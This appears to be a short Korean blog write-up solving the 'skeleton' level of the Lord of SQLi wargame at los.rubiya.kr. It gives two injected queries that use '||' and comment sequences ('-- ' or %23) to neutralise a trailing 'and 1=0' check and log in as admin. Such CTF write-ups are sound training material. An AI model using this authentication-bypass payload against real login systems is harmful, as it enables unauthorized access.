반응형
문제
https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php
https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php
los.rubiya.kr
문제풀이
id가 admin일 때 문제가 해결된다.
pw 파라미터 뒤가 false로 고정되어 있어서 주석 처리를 해주어야 한다.
-- 뒤는 꼭 %20(공백)처리나 문자가 있어야 한다.
select id from prob_skeleton where id='guest' and pw='' || id='admin' -- ' and 1=0
select id from prob_skeleton where id='guest' and pw='' || id='admin'%23' and 1=0
반응형
'write-up(web) > los' 카테고리의 다른 글
| [LOS] darkknight (0) | 2023.01.22 |
|---|---|
| [LOS] golem (0) | 2023.01.22 |
| [LOS] vampire (0) | 2023.01.22 |
| [LOS] troll (0) | 2023.01.22 |
| [LOS] orge (0) | 2023.01.22 |